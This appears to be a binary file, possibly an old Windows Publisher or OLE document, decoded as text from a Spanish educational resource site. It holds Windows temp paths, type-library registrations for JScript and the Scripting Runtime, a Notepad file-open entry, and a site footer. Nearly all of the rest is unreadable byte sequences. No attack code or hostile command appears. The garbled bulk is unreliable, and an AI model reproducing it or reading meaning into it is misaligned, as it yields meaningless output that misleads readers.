ݛ$*N
H-"0
L
]
K
[1]]7!
n#"[1]:X$
KD7[1]
/S
jUA[1]DW7\W
mWà[1]
h`
5fXע
R1.0Project1&‑2&FLAGS0"20@ 2@win32C:\WINDOWS\TEMP\pub5144.TMP6!26HELPDIRC:\WINDOWS\TEMPG"2:&{14A19F30-CD92-11D0-98C7-444553540000}+#2+
1.0Project1&$2&FLAGS0"%20@&2@win32C:\WINDOWS\TEMP\pubF0E2.TMP6'26HELPDIRC:\WINDOWS\TEMPG(2:&{EAC044B6-CD93-11D0-98C7-444553540000}+)2+
1.0Project1&*2&FLAGS0"+20@,2@win32C:\WINDOWS\TEMP\pubB1A3.TMP6-26HELPDIRC:\WINDOWS\TEMP1.21
.LST
LST_auto_file./2.
LST_auto_filen&02shell%12$
open@22@commandC:\WINDOWS\NOTEPAD.EXE %1.62 OLEScriptt1.1*42 OLEScript=32=
JavaScript1.1JScript
LanguageK52KCLSID&{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}0720ProgID
JavaScripti82i
[1]InprocServer32C:\WINDOWS\SYSTEM\JSCRIPT.DLL
ThreadingModelBothG92:&{420B2830-E718-11CF-893D-00A0C9054228}>:2>
1.0Microsoft Scripting Runtime&;2&FLAGS0"<20A=2Awin32C:\WINDOWS\SYSTEM\SCRRUN.DLL8>28HELPDIRC:\WINDOWS\SYSTEMW;#2#lp[1].
[1][1]>
ààààààààÑÑààÑÑÁÁàààÑÑÑÑÑÑàààÁÁÁÁÑÁÁÑÑÁÁÁۼà••۲ּÑ••ֲÑ••Ñۭ֭Ñ֨ÑÑ••̲ÁƲĄ̭̣́ÁƨƣÁÁÑÑ̙""ƙÁÁ""Á""ƉÁÁÁ••""•••""""•••""zz••zzzz•uuuu•ppppkkffzzuuzzzzuuuuppkkffppkkppkkff````[[``[[``[[VVQQVVQQGGzzuuuuppkkppkkffff"kk"ffff``[[[[VVQQVVQQ"``"[["VV"QQLLLLGGGGBB"LL"GG"BB``[[[[VVQQQQLLLLGGBBBB=="=="88====883388338833----((QQ88--z--3f333f3333f3ffffff3f̙V)G?G)
...)hZG) )hó
Ljʚl)Fóة a
V\\v0
Fʼn_EM <suk#
)ǥrY
1G0
I \]
$
)\6
Fl`C+
0[q6
(pX[1]...lsj?-<)G??G)
)GG)
)G??G)Q
)G??G)
)GG)...|[6
)wݾ?
)G??G)
)GG) )G?G)
)G
?G)T.../cIG?...GIc/.../cIG?...GIc/
Fh)Fh))GZh).../cIG?GIc//JG?GJ/
.../cIG
?...GIc/Jz.Fh)Fh)
...F)
.../cIG?...GIc/
:XY--
?ZÉG
Fh)Fh))hF )hÉÑiG).../cIG?GJ/<dzzddzzdFçĜ|0)àĚ"|0FÉá}m.
dz
zdd
...d
dzzd)•IFçĜ|0)àĚ"|0
...)>
dz
zd
?\M]-
Éʍ)FçĜ|0)àĚ"|0
)}Ľ'&FóÉÉÑÁFdz
...d</cm
Émc//cm
Émc/)nja\a\]sk#Gی^\qsk#
FۨbA++6>IJ
/cm¿mc//oÉx/
/cmÉmc/...h?)nja\a\]sk#Gی^\qsk#
Gދ6
/cm¿mc/FDM
v,)nja\a\]sk#Gی^\qsk#
hۥaa]O5
FŘ`B??Pp"{/cmÉx/?$<9CEV\t1
$<9CEV\t1
hó\YX ,G0LVEE‑,I2
FnjVVEA
+$?YVA^q??r^EE\t1$<CVt1F?hó\YX ,G0LVEE‑,I2
ZÉ^U*
?YVA^q?.ljEV^
barM
hó\YX ,G0LVEE‑,I2
)ۥbDY!"
'F a6
*K1?YVAV\t1C8+EU*8+EU*)ۥ^Uq-
$6EV^+'
)njEUDU
AD6*YD+EEFW+=Y-...EF܊*)ۥ^Uq-
$6EV^+'
)ۋ^\r
*YD+EE.ÑV^EE
A...DB(
)ۥ^Uq-
$6EV^+'
GۂEU6
[1]FS
*YD+AU*D*`\Eb^+*`\Eb^+GbEU=
7TA^^+
hóE\`=
+6MM=Y*
?-A^^+
FǂU`q*^FǦSGbEU=
7TA^^+
hóEr<
?-A^^+F|]VA
+6
GbEU=
7TA^^+
?V^V+
FǦW+
)Z>?-A^^+E?-A^^+?-A^^+?
A+@CE^^+)ۥVU`-
<qq?EV^+
)nj\`v-
?*Fnj_S?
A+@CE^^+
)ۥbVB
?EV^+:D6
?
A+@CE^^+?EV^+[1]- ^U )}t==*
?EV^+E?EV^+?EV^+G++A+*rA^^+GۂUY-
(qr=
?EV^+
hó\`v-
?ÉÉ?)njEbV+G++A+*rA^^+
GۂaUvt
?EV^+ D6-GIJJII)
G++A+*rA^^+?EV^+[1][1]Lی^a6
Zw`U`?EV^+E?EV^+?EV^+)":+A+?EV^+
ZÉ^Uq-
...:Y]
"?EV^+FץaYv-
?ÉÉ?hóVV^+)":+A+?EV^+
ZÉ^\YBu;
?EV^+
*8Ys̶l))":+A+?EV^+?EV^+ZÉVa\6
?vqa\6?EV^+E?EV^+?EV^+Fk$D6
?EV^+
)ۋ^U=
{R0
'?EV^+FNjYp-
?ÉÉ?
FץaUb+Fk$D6
?EV^+
)ۋaYBf'Q
?EV^+)[rw"||"ím.Fk$D6
?EV^+?EV^+)ۋVU`
?-V\=
?EV^+E?EV^+?EV^+
...L?EV^+
GۂaU6
2g
?EV^+F \q(
?ÉÉ?
FNjY]\b
...L?EV^+
hó\M.~k
?EV^+)}×i)$$1GGIJ
...L?EV^+?EV^+GۂV\=
?VU`
?EV^+E?EV^+?EV^+
-??EV^+
?^\Y
?EV^=1njar<
?ÉÉ?
Fǥ`v(8b^*
-??EV^+
)ۥb\6
Q>
?EV^+hň<
))
-??EV^+?EV^+?V^V+
?E\a6
?EV^+E?EV^+?EV^+
BB6(?EV^+
?^U=
?EV^Djnj\r]?ÉÉ?
) \q(
a-
BB6(?EV^+
GۂaU6
I}
?EV^+)ۥM-(?(
BB6(?EV^+?EV^+?EV^+
?EV^+
?EV^+E?EV^+?EV^+
MUDsKG)iEV^+
?bA+?EEYr\`v-
?ÉÉ?
hóar<
*?
MUDsKG)iEV^+ ZÉ^\Y
)1
?EV^+hóUB?vX=*
MUDsKG)iEV^+?EV^+?EV^+
?EV^+
?EV^+E?EV^+?EV^+
=]]...ƘEV^+
?bA+?EEaqaUq-
‑?ÉÉ?
Fץa`]?ÉÉ?
=]]...ƘEV^+ )ۋaYB
...mQ
?EV^+)ۥb\6
?-AU`
=]]...ƘEV^+?EV^+GEV^+
?EV^+
?EV^+E?EV^+?EV^+
<M...EV^+
GbA+?EEM[prr=
?ÉÉ? FNjYp-
?ÉÉ?
<M...EV^+hó\M.~k ?EV^+Gۂ^E+?E\a6
<M...EV^+?EV^+)UV^+
ZÉE\a6
?EV^+E?EV^+?EV^+...)I)
<p`VA^^+
)A+?EV^=:B
?ÉÉ?F \q(
?ÉÉ?...)I)
<p`VA^^+)ۥb\6
...Q>
?EV^+?V^V+?EV^+...)I)
<p`VA^^+?EV^+ZwYV^+
)ۋVU`
?EV^+E?EV^+?EV^+FF(B=Ab^+
ZwA+
...)I)?EV^+
-[[‑?ÉÉ?)njar<
?ÉÉ?FF(B=Ab^+GۂaU6I}?EV^+?EV^+?EV^+FF(B=Ab^+?EV^+Gwt^V+
GۂV\=
?EV^+E?EEbA*-
?vƘEV^+)àݽo-]YAb^+Gw\6
FF?EV^+,-$?ÉÉ?hó\r]?ÉÉ?)àݽo-]YAb^+ZÉ^\Y)1?EV^+GEV^+?E\a6)àݽo-]YAb^+?EV^+)}...\\=
ZÉVa\6?EV^+E?EAbbr
É؋EV^+GۉqL,?-A^^+)"pMFݽo?EV^+
(N.?ÉÉ?FץaYv-
?ÉÉ?GۉqL,?-A^^+)ۋ^U=
...lO
?EV^+)UV^+ZÉVU`GۉqL,?-A^^+?EV^+h}pU` )ۋ\Yq?EE=
D?EAbbr
ÉĢbA^^+GA88?E\a6FkPM<
)nj[1?EV^+...0J?ÉÉ?FNjYp-
?ÉÉ?GA88?E\a6hóׂaU6 I}?EV^+h}[V^+)ۋ^U=
GA88?E\a6?EV^+ )mh[`<
hóYp-
?EA-)I)<?EEbA*-
?MUAAb^+)":+A+ZÉVU`$LGی\`X?EV^+
?ÉÉ?
F \q(
?ÉÉ?)":+A+ZÉVU`)ۥ^\Y ')?.I?vƘEV^+)mh]a=
"GۂVVA*-G))":+A+ZÉVU`?EV^+ .e,=M Frp(
.I?vƘEA[FF;?EV^+=DAb^+Fk$D6
FaYB
,
ZÉaYv-
?EV^+?ÉÉ?
)njar<
?ÉÉ?Fk$D6
FaYB
)}ÉׂErM( '.}tzÑ؋EV^+.eL\(
-ZÉbbr'.Fk$D6
FaYB
.I?vƘEEbA*-?G)
D6
F؋]
zÑ؋EEb`[-?ݽo;?EV^+-A^^+
=`<-??Z؟aX
*??Zۧq[-
?EV^+/oB+nNc/?ÉÉ?
hó\r] ?ÉÉ?
=`<-??Z؟aX
/xáǁbQ%"/xó...>%4J•ÑÉÇE^^+,`p
FàqEb^r'.
=`<-??Z؟aX
zEAbbrÉ'....+A6(
?Zܥ\
J•ÑÉËVb^D-vnj[1;?EV^+?EV^+
YrÉàVY(
8CÉà[
?EV^+d[=Lyzd?ÉÉ?FץaYv-
?ÉÉ?
YrÉàVY(
dUE`lH"dp%4)GL]`a6
-*qq-).Jm"?+*-G)YrÉàVY(
J•ռ^AEbbrÉ'.+BXÉàU
")GL]Ua68arX;?EV^+?EV^+
*`aaÉ?*
\aÉO?EV^+/JG( (0c/?ÉÉ?FNjYp-
?ÉÉ?
*`aaÉ?*
/JG??-*+*3%/JG?(
-YY
<<)eҍ1
*`aaÉ?*
)OpYDE^bA*-?G)-LÉK
6]
+U]-
;?EV^+?EV^+
*??G)
**??G)
?EV^+%?ÉÉ?F \q(
?ÉÉ?
*??G))...
<
)3ouuP$
*??G)
-8C^+*??G)
((
<?EV^+?EV^+:?EV^+%?ÉÉ?)njar<
?ÉÉ?T
%,BYb^+q?EV^+?EV^+:?EV^+%?ÉÉPO\r]
?ÉÉ?fOV+q?EV^+?EV^+:?EV^+%?ÉX]aYv-
?ÉÉ?.fYS+q?EV^+?EV^+:?EV^+%?YDYp-
?ÉÉ?[1]...0]Uq?EV^+?EV^+:?EV^+%?A+^\q(
?ÉÉ?
oO)q?EV^+?EV^+:?EV^+%?A+Ur<
?ÉÉ?
2gq?EV^+?EV^+:?EV^+$ZÉE=r]?ÉÉ?
pZÉEE=
ZÉEE=
9?EV^+#F\M-
ZúÉL>...)I)2FEAaq(
FEAaq(4.I?vƘEV^+!)hljU]-
Fۧp<FF./cm܌W^]1///cm܌W^]1//1zÑ؋EV^+‑/cmܦ<
/cmܥaL1//9)àݽo.dzSSV^aD1cddzSSV^aD1cd1J•ÑÉÇE^^+‑dzS^MdzSV=1cd9I[1./cIG?*
+...$///cIG?*
+...$//2)GL]`a6‑/cIG??*
/cIG?*$//9)`X
-YYFo[X-
...
<
[1]...1
~
Aún no hay comentarios para este recurso.
Monografias, Exámenes, Universidades, Terciarios, Carreras, Cursos, Donde Estudiar, Que Estudiar y más: Desde 1999 brindamos a los estudiantes y docentes un lugar para publicar contenido educativo y nutrirse del conocimiento.
Contacto »